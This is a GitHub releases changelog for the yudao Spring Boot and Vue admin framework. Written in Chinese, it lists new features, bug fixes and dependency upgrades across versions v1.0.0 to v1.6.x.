    • 【新增】集成积木报表,提供低代码报表设计器,由 @jiangqiang1996 贡献 #237
    • 【新增】接入支付宝 PC 网站支付,由 @jiangqiang1996 贡献 #240
    • 【优化】项目的启动速度,控制在 30 秒左右,默认不启动 bpm、visualization 模块
    • 【优化】管理后台的弹窗支持滚动、拖拽,并点击背景布关闭,避免误操作,由 @颗粒 贡献 #253
    • 【优化】一键改包,如果目标目录已存在,则不进行生成,由 @C 贡献 #229

    🐞 Bug Fixes

    • 【修复】Redis 7.0 监控查询 calls 数值超过 Integer 范围的异常,由 @lanyue52011 贡献 #239
    • 【修复】前端表单设计器中动态数据,不能正常获取和更深层级的赋值错误的情况,由 @CorrectRoadH 贡献 #256
    • 【修复】代码生成功能中,点击同步,会清除已添加并存在的字段,由 @xrcoder 贡献 #249
    • 【修复】工作流与积木报表的依赖冲突,将 xercesImpl 升级到 2.12.0 版本,由 @shihy 贡献 #254

    🔨 Dependency Upgrades

    暂无

    Source code(tar.gz)
    Source code(zip)
  • v1.6.3(Jul 28, 2022)

    📈 Statistic

    • 总代码行数:81410
    • 源码代码行数:50413
    • 注释行数:30977
    • 单元测试用例数:671

    ⭐ New Features

    • 【新增】基于 Vue3 + ElementUI Plus 实现 yudao-ui-admin-vue3 管理后台项目,已完成系统管理 + 基础设施等功能,工作流正在实现中,主要由 @xingyu4j 贡献
    • 【新增】工作流支持会签、或签,可自定义任务分配方式 #212
    • 【新增】接口支持通过 @PermitAll 注解,允许匿名(未登录)进行访问 d9c2da7
    • 【新增】yudao.security.permit-all-urls 配置项,允许匿名(未登录)进行访问 d9c2da7
    • 【新增】Redis 缓存的查询与删除 由 @lwf_org 贡献 #211
    • 【优化】文件表增加 name 字段,记录上传的文件名,由 @manning233 贡献 #186
    • 【优化】基于 Guava 实现 dict 字典数据的本地缓存 d320091
    • 【优化】基于 Guava 实现 tenant 租户数据的本地缓存 992e205
    • 【重构】新增 yudao-spring-boot-starter-biz-error-code 错误码组件,用于错误码的自动创建与加载 7a86a61
    • 【重构】新增 yudao-spring-boot-starter-banner 组件,用于项目启动时打印开发文档、接口文档等 69a3a83
    • 【新增】yudao.access-log.enable 访问日志的开关,默认在 local 环境关闭记录访问日志 9040b17
    • 【新增】yudao.error-code.enable 错误码的开关,默认在 local 环境关闭自动生成错误码 cca8375
    • 【新增】集成 Prometheus 监控点 4dfa816
    • 【移除】去除 Activiti 工作流的支持,专注提供基于 Flowable 提供更强大的工作流能力
    • 【重构】时间区间的过滤条件,从开始和结束时间两个变量,修改为数组,由 @xingyu4j 贡献 dad10d8

    🐞 Bug Fixes

    • 【修复】流程审批不通过会报错的问题,由 @wzy_lc 贡献 #215
    • 【修复】Spring Boot Admin 的 prefer-ip 过期,由 @xingyu4j 贡献 63877cf
    • 【修复】环境 teststagestageprod 不打印日志的问题 8a6c48f
    • 【修复】短信验证码的每日发送条数不正确 e5a7b84

    🔨 Dependency Upgrades

    • 【升级】spring-boot from 2.6.8 to 2.6.10
    • 【升级】hutool from 5.6.1 to 5.7.22
    • 【升级】druid from 1.2.8 to 1.2.11
    Source code(tar.gz)
    Source code(zip)
  • v1.6.2(Jun 5, 2022)

    📈 Statistic

    • 总代码行数:84846
    • 源码代码行数:52792
    • 注释行数:19234
    • 单元测试用例数:671

    ⭐ New Features

    • 【新增】对 PostgreSQL 数据库的支持 #151 感谢这个过程中怪物的帮助!
    • 【新增】对 Oracle 数据库的支持 #152 感谢这个过程中 安贞、品霖的帮助!
    • 【新增】对 SQL Server 数据库的支持 #153 感谢这个过程中 Simon、蜉蝣无垠、牛希尧的帮助!
    • 【新增】《开发指南 —— 后端手册》的接口文档、三方登录、异常处理(错误码)、参数校验、分页实现、系统日志、数据库 MyBatis、多数据源、缓存 Redis、本地缓存、定时任务、消息队列、配置中心、单元测试、分布式锁、幂等性、限流熔断、数据库文档、短信配置、开发环境...
    • 【新增】《开发指南 —— 运维手册》的开发环境、Linux 部署、Docker 部署、Jenkins 部署、HTTPS 证书、服务监控...
    • 【新增】《开发指南 —— 前端手册》的开发规范、菜单路由、Icon 图标、字典数据、系统组件、通用方法、配置读取...
    • 【新增】手机验证码登录,美化登录界面,由 #155 贡献
    • 【新增】一键改包的程序,快速将项目的 Maven、包名等信息替换成你的 #110
    • 【新增】菜单新增是否缓存、是否隐藏的字段 #133 #172
    • 【新增】Spring Cache 声明式缓存,使用 Redis 存储 code
    • 【新增】腾讯云短信,由 swpthebest 贡献 #118
    • 【新增】敏感词,由 dachuan 贡献 #121
    • 【新增】数据源配置,为多租户、代码生成支持动态数据源做准备 #138
    • 【新增】用户 Token 采用 OAuth2.0 的 Access Token + Refresh Token,提升安全性 #166
    • 【新增】基于 OAuth2.0 实现 SSO 单点登录 #176
    • 【新增】用户与岗位的关联表,由 anzhen-tech 贡献 #113
    • 【新增】MyBatis 字段的加解密功能 code
    • 【新增】集成微信 Native、小程序的支付能力,支持 v2 和 v3 的回调数据处理 #142
    • 【优化】yudao-module-xx-impl 调整成 yudao-module-xx-biz,更加符合定位 code
    • 【优化】简化三方登录的实现,降低理解成本 #137
    • 【优化】去除 yudao-module-systemyudao-module-infrayudao-module-member 的依赖 #122
    • 【优化】yudao-framework-test 测试组件的封装,内置 Redis、DB 等多种快速测试的基类 code
    • 【优化】配置指定默认的 npm 镜像源 #170
    • 【优化】字典管理、通知管理、岗位管理、角色管理、错误码管理的排序显示 #174
    • 【优化】前端 Token、账号、密码等信息,统一使用 LocalStorage 替代 Cookie 存储 code
    • 【优化】上传文件的类型识别,增加基于 filename 的读取 code

    🐞 Bug Fixes

    • 【修复】角色菜单集合复选框回显不正确 #107
    • 【修复】工作流 BPMN 图的 canvas 自适应,解决展示补全的问题 #104
    • 【修复】API 访问日志不记录的问题 code
    • 【修复】修复忽略租户的 URL,未带租户会报错的问题 code
    • 【修复】菜单无法使用外链的问题 code
    • 【修复】代码生成器的 vue 模板中,导出 Excel 文件时,文件名未格式化的问题 #133
    • 【修复】代码生成时,对话框的日期选择器,在编辑情况下不能回显 #135
    • 【修复】在 Windows 下 ftp 上传和下载存在报错的问题 #156
    • 【修复】图片上传组件 ImageUpload 上传报错的问题 code
    • 【修复】文件上传组件 FileUpload 上传报错的问题 code
    • 【修复】form generator 组件上传文件、图片报错的问题 code
    • 【修复】富文本编辑器的 Editor 的图片上传报错的问题 code
    • 【修复】DO 生成模板,当主键是 String 类型,模板有误 #167
    • 【修复】创建用户不分配角色的情况会存在空指针 #171
    • 【修复】yudao-ui-admin 启动告警 #173
    • 【修复】新建的用户未分配角色时,操作自己信息回报错的问题 code
    • 【修复】工作流的编辑无法撤回、crtl 选中的问题 code
    • 【修复】支付宝通知回调 BUG 修复 #142

    🔨 Dependency Upgrades

    • 【升级】spring-boot from 2.5.10 to 2.6.8 :修复 RCE 漏洞,并且 2.5.X 结束声明周期
    • 【升级】redisson from 3.16.6 to 3.17.3 :提升 Redisson 客户端的稳定性
    • 【升级】mysql-connector-java from 5.1.46 to 8.0.28 :提升 MySQL 客户端的性能
    • 【升级】Knife4j from from 3.0.2 to 3.0.3
    • 【升级】swagger-annotations from 1.5.22 to 1.6.6
    • 【升级】spring-boot-admin from 2.6.2 to 2.6.7
    • 【升级】fastjson from 1.2.73 to 2.0.5
    • 【升级】resilience4j from 1.7.0 to 1.7.1
    • 【升级】jackson from 2.12.6 to 2.13.3
    • 【升级】spring-mvc from 5.3.16 to 5.3.20
    • 【升级】spring-security from 5.5.5 to 5.6.5
    • 【升级】hibernate-validator from 6.2.2 to 6.2.3
    • 【升级】junit from 5.7.2 to 5.8.2
    • 【升级】mockito from 3.9.0 to 4.0.0
    • 【升级】mybatis-plus from 3.4.3.4 to 3.5.2
    Source code(tar.gz)
    Source code(zip)
  • v1.6.1(Mar 21, 2022)

    📈 Statistic

    • 总代码行数:77279
    • 源码代码行数:47812
    • 注释行数:17676
    • 单元测试用例数:537

    ⭐ New Features

    • 【优化】文件存储的功能,支持将文件存储到 S3(MinIO、阿里云、腾讯云、七牛云)、本地、FTP、FTP、数据库等 #98
    • 【新增】《开发文档》的代码生成(新增功能)、功能权限、上传下载等小节完成,可访问 https://doc.iocoder.cn 地址
    • 【新增】开发环境下,管理后台每个菜单展示对应的《开发文档》的说明 code
    • 【新增】《开发文档》的工作流、代码生成(新增功能)、功能权限、数据权限等小节完成,可访问 https://doc.iocoder.cn 地址
    • 【优化】将 yudao-module-tool 合并到 yudao-module-infra 模块,统一基础设施 #94
    • 【优化】代码生成时,额外生成 MyBatis Mapper XML 文件 #96
    • 【新增】开启 TopNav 时,没有子菜单的情况下,隐藏侧边栏 code

    🐞 Bug Fixes

    • 【修复】仅本人数据权限时,个人中心会报错的问题 #97
    • 【修复】修改租户套餐的权限时,本地缓存刷新错误的问题 #99
    • 【修复】删除菜单、角色时,本地缓存未刷新的问题 code
    • 【修复】登录界面输入不存在的租户时,导致后续请求报错的问题 code
    • 【修复】登录超时刷新页面时,跳转登录页面还提示重新登录问题 code

    🔨 Dependency Upgrades

    • 【升级】apollo-client from 1.7.0 to 1.9.2
    • 【升级】guide from 4.1.0 to 5.1.0 :解决 Apollo 在 JDK 17 无法启动的问题
    Source code(tar.gz)
    Source code(zip)
  • v1.6.0(Mar 10, 2022)

    友情提示:原本 Activiti 实现的工作流,在 yudao-module-bpm-impl-activiti 模块,保持同步更新。

    📈 Statistic

    • 总代码行数:75008
    • 源码代码行数:46416
    • 注释行数:17132
    • 单元测试用例数:341

    ⭐ New Features

    🐞 Bug Fixes

    • 【修复】正常租户登陆后退出,切换到过期租户时造成的 tenant.ignore-urls 配置失效的问题,比如无法获取验证码图片造成无法登录 #91

    🔨 Dependency Upgrades

    暂无,计划升级 Spring Boot 2.6.X

    Source code(tar.gz)
    Source code(zip)
  • v1.5.1(Feb 28, 2022)

    ⚠️ Warning

    暂无,主要优化多租户功能:

    • 创建租户时,自动创建用户、角色等信息
    • 支持租户套餐,自定义每个租户的菜单、操作、按钮等权限信息

    📈 Statistic

    • 总代码行数:71249
    • 源码代码行数:43921
    • 注释行数:16341
    • 单元测试用例数:341

    ⭐ New Features

    • 【新增】后端 yudao.tenant.enable 配置项,前端 VUE_APP_TENANT_ENABLE 配置项,用于开关租户功能。 commit
    • 【优化】调整默认所有表开启多租户的特性,可通过 yudao.tenant.ignore-tables 配置项进行忽略,替代原本默认不开启的策略 commit
    • 【新增】通过 yudao.tenant.ignore-urls 配置忽略多租户的请求,例如说 ,例如说短信回调、支付回调等 Open API commit
    • 【新增】新增 @TenantIgnore 注解,标记指定方法,忽略多租户的自动过滤,适合实现跨租户的逻辑 commit
    • 【新增】租户套餐的管理,可配置每个租户的可使用的功能权限 commit
    • 【优化】新建租户时,自动创建对应的管理员账号、角色等基础信息 commit
    • 【优化】Redis 最低版本 5.0.0 检测,解决搭建环境过程中无法理解 XREADGROUP 指令的报错 commit

    🐞 Bug Fixes

    • 【修复】修复不支持根部门的问题 commit
    • 【修复】错误码存在重复的问题 commit
    • 【修复】角色的数据范围为仅本人时,登陆后获取权限列表报错的问题 commit

    🔨 Dependency Upgrades

    • 【升级】spring-boot from 2.5.9 to 2.5.10
    • 【升级】mybatis-plus from 3.4.3.4 to 3.5.1
    Source code(tar.gz)
    Source code(zip)
  • v1.5.0(Feb 17, 2022)

    ⚠️ Warning

    • 修复各种多 Maven Module 重构带来的 Bug,感谢大量群友的 PR 支持!
    • 跟进 ruoyi-vue 3.4.0 ~ 3.8.1 版本,感谢这么优秀的开源项目!

    📈 Statistic

    • 总代码行数:69299
    • 源码代码行数:42687
    • 注释行数:15888
    • 单元测试用例数:278

    ⭐ New Features

    • 【优化】使用 Lombok 简化 JsonUtils 工具类 #73
    • 【新增】兼容 Node 16 版本,通过升级 BPMN-JS 相关库 commit
    • 【新增】前端的表格右侧工具栏组件支持显隐列,具体可见【用户管理】功能 commit
    • 【新增】前端的菜单导航显示风格 TopNav(false 为 左侧导航菜单,true 为顶部导航菜单),支持布局的保存与重置 commit1 commit2
    • 【新增】前端的网页标题支持根据选择的菜单,动态展示标题 commit
    • 【新增】字典标签样式回显,例如说开启的状态展示为 primary 蓝色,禁用的状态为 info 灰色 commit
    • 【新增】前端的 iframe 组件,方便内嵌网页 commit
    • 【新增】在基础设施-配置管理菜单,可通过修改 yudao.captcha.enable 配置项,动态修改登录是否需要验证码 commit
    • 【新增】在代码生成的预览界面,支持一键复制代码 commit

    🐞 Bug Fixes

    • 【修复】数据权限的 DEPT_AND_CHILD 范围时,未设置自己所在的部门 #72
    • 【修复】Knife4j 接口文档 404 的问题,原因是 spring.mvc.static-path-pattern 配置项,影响了基础路径 commit
    • 【修复】修复文件访问地址错误 #68
    • 【修复】工作流程发起以及审批异常,由 @NotEmpty 校验、和 Long 类型异常导致 #73
    • 【修复】自定义 DefaultStreamMessageListenerContainerX 实现,解决 Redisson Stream 读取不到数据返回 null 导致 NPE 问题 commit
    • 【修复】部门更新后,本地缓存不刷新的问题 #77
    • 【修复】获取拥有指定的角色用户时,返回错误的 id 编号 #79

    🔨 Dependency Upgrades

    *【修复】Maven 构建的一些错误提示 #78

    Source code(tar.gz)
    Source code(zip)
  • v1.4.0(Feb 7, 2022)

    ⚠️ Warning

    大版本重构,基于 Maven Module 的方式拆分多模块,希望大家多多提点建议!

    📈 Statistic

    • 总代码行数:69118
    • 源码代码行数:42571
    • 注释行数:15847
    • 单元测试用例数:278

    ⭐ New Features

    • 【重构】大模块按照多 Maven Module 的方式拆分,提升可维护性,为后续重构 onemall 提供基础
    • 【移除】将 yudao-core-service 模块移除,替换成每个 Maven Module 暴露对应的 yudao-module-***-api 模块
    • 【新增】Spring Security 支持读取多种用户类型,从不同的数据库表,从而实现单项目提供管理后台、用户 APP 的不同 RESTful API 接口
    • 【新增】Spring Security 新增 AuthorizeRequestsCustomizer 抽象类, 自定义每个 Maven Module 的 URL 的安全配置
    • 【新增】代码生成器支持多 Maven Module 的方式生成代码,支持管理后台、用户 APP 两种场景的 RESTful API 的生成,支持 H2 SQL 脚本的生成
    • 【新增】每次发布大版本时,将 yudao-ui-admin 编译后,放到 yudao-server 项目中,可以快速体验,无需搭建前端开发环境
    • 【重构】将数据库文档调整到 tool 模块,更加明确
    • 【优化】代码生成器的前端展示效果,例如说 Java 包路径合并

    🐞 Bug Fixes

    • 【修复】用户无权限访问 指定 API 时,未返回 FORBIDDEN 结果码
    • 【修复】定时任务刷新本地缓存时,无租户上线文,导致查询报错
    • 【修复】配置中心只加载了删除的配置
    • 【修复】管理后台 UI 超时登录后,返回登陆界面时,由于未登陆加载不到信息,导致报错的问题

    🔨 Dependency Upgrades

    • 【升级】spring-boot from 2.4.12 to 2.5.9,最新的 Spring Boot 2.6.X 在等更流行一些,稳定第一
    • 【升级】Spring Boot Admin from 2.3.2 to 2.6.2,提供更好的监控能力
    • 【移除】Apache FreeMarker 依赖,修改 Screw 使用 Velocity 作为模板引擎
    • 【升级】redisson from 3.16.6 to 3.16.8
    Source code(tar.gz)
    Source code(zip)
  • v1.3.0(Jan 23, 2022)

    ⚠️ Warning

    基于 Activiti 7.X 版本实现工作流功能,支持可配置的动态表单、自定义的业务表单。

    下个版本会提供基于 Flowable 6.X 版本实现的工作流!

    📈 Statistic

    • 总代码行数:61594
    • 源码代码行数:37931
    • 注释行数:14225
    • 单元测试用例数:278

    ⭐ New Features

    • 【优化】引入 form generator 0.2.0 版本,并重构相关代码
    • 【修改】修改部门负责人,从 String 字符串,调整成和后台用户的用户编号绑定
    • 【新增】流程表单,支持动态进行表单的配置
    • 【新增】工作组,用于支持指定工作组进行任务的审批
    • 【新增】流程模型的管理,支持新增、导入、编辑、删除、发布流程模型
    • 【新增】我的流程的管理,支持发起流程
    • 【新增】待办任务的管理,支持任务的审批通过与不通过
    • 【新增】已办任务的管理,支持详情的查看
    • 【新增】任务分配规则,可指定角色、部门成员、部门负责人、用户、用户组、自定义脚本等维度,进行任务的审批
    • 【新增】引入 bpmn-process-designer 0.0.1 版本,提供流程设计器的能力
    • 【优化】新增 LambdaQueryWrapperX 类,改成使用 Lambda 的方式选择字段,避免手写导致字段不正确

    🐞 Bug Fixes

    • 【修复】biz-data-permission 组件的缓存机制,导致部分 SQL 未进行数据过滤
    • 【修复】codegen 生成代码时,delete 接口补充 dataTypeClass 属性,避免 Swagger 打印 WARN 日志

    🔨 Dependency Upgrades

    • 【升级】redisson from 3.16.3 to 3.16.6,解决 Stream 在调试场景下会存在 NPE 的问题
    • 【升级】spring-boot from 2.4.5 to 2.4.12,最新的 Spring Boot 2.6.X 在等更流行一些,稳定第一
    • 【升级】druid from 1.2.4 to 1.2.8,提升数据库连接池的稳定性
    • 【升级】dynamic-datasource from 3.3.2 to 3.5.0,修复动态数据源切换的问题
    Source code(tar.gz)
    Source code(zip)
  • v1.2.0(Dec 15, 2021)

    ⚠️ Warning

    这个版本新增了多租户与数据权限两个重量级的功能,建议花点时间进行了解与学习。

    ⭐ New Features

    • 【新增】多租户,支持 Web、Security、Job、MQ、Async、DB、Redis 组件

    • 【新增】数据权限,内置基于部门过滤的规则

    • 【新增】用户前台的昵称、头像的修改

    • 【新增】用户前台的微信公众号、微信小程序的社交登陆的 API 接口

      完整功能,需要等基于 Uniapp 实现的用户前台一起~ 努力 coding 中,胖友可以 star 持续关注一波!

    • 【优化】管理后台的登陆成功后,LoginUser 使用统一方法补全信息

    🐞 Bug Fixes

    • 【修复】通知和字典查询接口的 @PreAuthorize 权限标识错误
    • 【修复】代码生成的 Java 类路径缺少 modules 目录
    • 【修复】代码生成的 Test 单元测试类的引入 Util 工具类的包路径不正确

    🔨 Dependency Upgrades

    • 【引入】mockito-inline 3.6.28:Mockito 提供对 final、static 的支持
    Source code(tar.gz)
    Source code(zip)
  • v1.1.0(Oct 24, 2021)

    • 新增管理后台的企业微信、钉钉等社交登录
    • 新增用户前台(例如说,用户使用的小程序)的后端项目 yudao-user-server
    • 新增公共服务 yudao-core-service 项目,通过 Jar 包的方式,提供 yudao-user-serveryudao-admin-server 的共享逻辑的复用
    • 新增用户前台的手机登录、验证码登录
    • 修复管理后台的用户头像上传 404 的问题,原因是请求路径不对
    • 修复用户导入失败的问题,原因是 Lombok 链式与 cglib 读取属性有冲突
    • 修复阿里云短信发送失败的问题,原因是 Opentracing 依赖的版本太低,调整成 0.31.0
    Source code(tar.gz)
    Source code(zip)
  • v1.0.0(May 3, 2021)

    第一个版本,基于 RuoYi-Vue 重构,主要是三个方面:

    • 代码的重构
    • 技术选型的调整
    • 后台功能的新增

    因此,v1.0.0 的更新日志,分成这三方面来写。

    代码的重构

    • 调整整体代码结构,将多个 Maven Module 合并为单个,使用 Java package 进行拆分隔离,如 所示。原因是:随着业务逻辑的逐步复杂,多个 Maven Module 的依赖关系的管理,会是一个很大的问题。
    • 拆分 framework 为多个 Maven Module,按照 WebSecurityMyBatisRedis 等不同组件,进行封装与拓展。
    • 基于 JUnit5Mockito,实现单元测试,保证功能的正确性,与代码的可维护性。一直自动化,一直爽!
    • 增加 SpringBoot 多环境的配置文件,提供完善的 deploy.sh 部署脚本,以及 Jenkins 部署教程
    • 优化 Spring Security 实现权限的代码,提升可读性和维护性。
    • 增加本地缓存(菜单、角色、数据字典等等),提升性能。通过 Redis 订阅发布,实现缓存的实时刷新。
    • 增加 VO 类,作为 API 接口的响应对象,避免数据库实体与前端的直接耦合。
    • 优化 操作日志,支持读取 Swagger 作为日志的内容。
    • 优化 定时任务,支持执行失败的重试,更完善的执行日志。
    • 优化 codegen 代码生成器,在原先生成 Controller、Service、Mapper、数据库实体、Vue 代码的基础上,额外生成 VO、单元测试的代码。
    • 调整文件改用 数据库 存储,而不是文件系统。原因是,项目在部署多个服务节点时,文件需要做同步。未来,会增加阿里云、七牛云等存储云服务。
    • 去除原有数据库的连表查询、递归查询,改为单表操作的方式,多次读取 + 内存拼接。
    • 优化 Java 代码的格式,解决 IDEA 代码告警的问题。

    后台功能的新增

    • 增加 API 访问异常日志,方便排查线上 API 的问题。
    • 增加 全局错误码,统一业务异常的管理。管理后台会支持错误码的管理,支持提示文案的可配置化。
    • 增加 短信模块,提供短信渠道、短息模板、短信日志的管理,对接阿里云、云片等主流短信平台。
    • 增加 Redis Key 的管理,知道项目中使用到的 Redis Key 的格式、数据类型、过期时间、描述等等信息。

    技术选型的调整

    • 将 Spring Boot 版本,从 2.1.3 升级到 2.4.5 最新。
    • 增加 bom 文件,统一 Maven 的依赖管理。
    • 引入 MyBatis Plus 组件,简化 MyBatis 使用,提升开发效率。
    • 引入 Redisson 组件,作为 Redis 的客户端,提供更强大的 Redis 操作。
    • 基于 Redis 实现分布式消息队列的功能。接入 Redis Pub/Sub 实现广播消费,接入 Redis Stream 实现集群消费。
    • 去除 fastjson,统一使用 Jackson 作为 JSON 库,老爆安全漏洞的悲伤。
    • 引入 MapStruct 组件,实现数据库实体与 VO 类之间的转换。
    • 引入 Lombok 组件,生成 setter、getter 等常用方法,去除冗余代码。
    • 引入 Spring Async 功能,实现异步任务。例如说,异步记录 API 访问日志、管理员操作日志等等。
    • 魔改 Apollo 组件,接入本地数据库,实现内嵌的配置中心。通俗的说,我们可以将原本添加到 application.yaml 的配置项,改为添加到数据库中,项目启动会进行读取。
    • 引入 Hutool 组件,去除大量重复的工具类,也避免原本 Util 存在一些 bug 的问题。
    • 引入 Screw 组件,实现数据库文档的生成,虽然好像现在用途较少。
    • 引入 EasyExcel,提供 Excel 的导入与导出的功能。
    • 实现 Idempotent 组件,实现幂等的功能,可以用来解决 HTTP 重复请求的问题。
    • 引入 Lock4J,实现声明式的分布式锁的功能。虽然 Redisson 内置了分布式锁的功能,但是通过注解声明一个 @Lock4j 注解的使用方式,更加便利,且满足绝大多数场景。
    • 去除原有的服务监控,使用 SpringBoot Admin 替代,提供更完整的监控能力。
    • 引入 SkyWalking 组件,实现链路追踪和日志服务的功能。通过链路追踪,我们可以看到一个 API 请求涉及到的 MySQL、Redis 等操作;通过日志服务,我们可以方便的看到每个服务实例的日志。
    • 引入 Resilience4j 组件,实现限流、熔断等功能,保证服务的稳定性。
    • 引入 Knife4j,美化接口文档。原本所有 API 接口文档是缺失的,已经全部补全,可见 http://api-dashboard.yudao.iocoder.cn/doc.html 地址。
    Source code(tar.gz)
    Source code(zip)
Owner
芋道源码
愿半生编码,如一生老友!
芋道源码
循序渐进,学习Spring Boot、Spring Boot & Shiro、Spring Batch、Spring Cloud、Spring Cloud Alibaba、Spring Security & Spring Security OAuth2,博客Spring系列源码:https://mrbird.cc

Spring 系列教程 该仓库为个人博客https://mrbird.cc中Spring系列源码,包含Spring Boot、Spring Boot & Shiro、Spring Cloud,Spring Boot & Spring Security & Spring Security OAuth2

mrbird 24.8k Jan 6, 2023
Spring Boot & MongoDB Login and Registration example with JWT, Spring Security, Spring Data MongoDB

Spring Boot Login and Registration example with MongoDB Build a Spring Boot Auth with HttpOnly Cookie, JWT, Spring Security and Spring Data MongoDB. Y

null 15 Dec 30, 2022
Spring Boot Login and Registration example with MySQL, JWT, Rest Api - Spring Boot Spring Security Login example

Spring Boot Login example with Spring Security, MySQL and JWT Appropriate Flow for User Login and Registration with JWT Spring Boot Rest Api Architect

null 58 Jan 5, 2023
Spring Boot JWT Authentication example with Spring Security & Spring Data JPA

Spring Boot JWT Authentication example with Spring Security & Spring Data JPA

null 1 Jan 26, 2022
A personal blog based on Vue+SpringBoot+MySql+Redis+Shiro+JWT

项目:Vue-SpringBoot-PersonalBlog 个人博客网址:http://www.huchao.vip/blogs CSDN:毛_三月 介绍 一个基于SpringBoot + Vue+MybatisPlus+Shiro+JWT+Redis开发的前后端分离博客项目,带有超级详细开发文档

Chao. Hu 26 Dec 20, 2022
Spring Boot Refresh Token using JWT example - Expire and Renew JWT Token

Spring Boot Refresh Token with JWT example Build JWT Refresh Token in the Java Spring Boot Application. You can know how to expire the JWT, then renew

null 152 Dec 28, 2022
【多模块微服务脚手架平台——Ancba】前后端分离架构SpringBoot 2.x、SpringCloud、SpringAdmin、Spring Security、Mybatis-plus、(Shiro)、JWT、Feign、Nacos、Knif4j等。

Ancba 打造Blog.Core项目的SpringBoot微服务版,但是更强大 ?? Ancba (Another New CLI By Alacrity) 另一个全新的敏捷脚手架(单体/模块化/微服务都可支持)。 核心知识点与进度 ?? 在 ..../resources/application-

ansonzhang 35 Nov 29, 2022
Spring Boot Security Login example with JWT and H2 example

Spring Boot Security Login example with JWT and H2 example Appropriate Flow for User Login and Registration with JWT and HttpOnly Cookie Spring Boot R

null 50 Dec 21, 2022
完整教学!从0到1开发,手把手教你学会开发一个spring security + jwt + vue的前后端分离项目! 线上演示:https://markerhub.com/vueadmin/

VueAdmin - 基于SpringBoot+Jwt+Vue的前后端分离后台管理系统 完整教学!从0到1开发,手把手教你学会开发一个spring security + jwt + vue的前后端分离项目! 线上体验:https://www.markerhub.com/vueadmin/ 说明: 首

MarkerHub 235 Jan 4, 2023
Springboot starter security jwt

Springboot starter security jwt

CodingApi 2 Jul 19, 2022
Detect any Team Shipping Element for the FTC 2021-2022 Freight Frenzy season

ShippingElementDetector Idea/algorithm created and implemented by Allen Wu, code provided by FTC 18225 High Definition NOTE: EXTRA CHANGES WILL NEED T

High Definition 12 Sep 25, 2022
FEM for Students is a program of modeling and structural analysis by Finite Element Method

FEM For Students FEM for Students is a software for modeling and structural analysis by Finite Element Method. This software was developed by me in my

André de Sousa 4 Jun 23, 2022
参考 DDD/Clean Architecture 设计理念,整合 Spring Boot/Spring Security/Mybatis Plus/Vavr 的 Spring Realworld 应用案例

Demo · 更多项目 · 参考资料 ms-spring-ddd-examples Unified Domain-driven Layered Architecture for MicroService Apps,试图探索一套切实可行的应用架构规范,可以复制、可以理解、可以落地、可以控制复杂性的指导

王下邀月熊 19 Sep 23, 2022
Spring for GraphQL demo project with a Vue frontend.

Spring Books - Hello GraphQL This is a demo project that will introduce you to [https://spring.io/projects/spring-graphql](Spring for GraphQL). The Sp

Dan Vega 11 Dec 2, 2022
mall项目是一套电商系统,包括前台商城系统及后台管理系统,基于SpringBoot+MyBatis实现,采用Docker容器化部署。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。

mall 友情提示 快速体验项目:在线访问地址。 全套学习教程:《mall学习教程》。 微服务版本:基于Spring Cloud Hoxton & Alibaba的项目:mall-swarm。 专属学习路线:学习不走弯路,整理了套非常不错的《mall专属学习路线》。 项目交流:想要加群交流项目的朋友

macro 62.9k Jan 4, 2023
【咕泡学院实战项目】-基于SpringBoot+Dubbo构建的电商平台-微服务架构、商城、电商、微服务、高并发、kafka、Elasticsearch

咕泡商城- 微服务架构实战 咕泡商城是咕泡学院 Java架构课程中,帮助学员对于技术更好落地的一个实战项目,项目基于springboot2.1.6.RELEASE+Dubbo2.7.3 来构建微服务。 业务模块划分,尽量贴合互联网公司的架构体系。所以,除了业务本身的复杂度不是很高之外,整体的架构基本

Mic 4.5k Dec 26, 2022
:racehorse:基于SpringBoot + MySQL + Redis + RabbitMQ + Guava开发的高并发商品限时秒杀系统

系统介绍 本系统是使用SpringBoot开发的高并发限时抢购秒杀系统,除了实现基本的登录、查看商品列表、秒杀、下单等功能,项目中还针对高并发情况实现了系统缓存、降级和限流。 开发工具 IntelliJ IDEA + Navicat + Sublime Text3 + Git + Chrome 压测

FINN 2.3k Dec 27, 2022
😎基于SpringBoot+MyBatis进行前后端开发的个人博客网站,优化了许多功能模块,版本不断维护中。(期末项目/毕业设计/新手推荐)

Spring-Blog 框架:Springboot 数据库持久层:Mybatis 文章评论插件:Valine 分页插件:PageHelper 后台UI框架:X-admin框架,即LayUI框架 数据库连接池:hikari 数据库:MySQL 日志:Log4J 后台配置: properties 缓存实

coder_ryan 142 Jan 5, 2023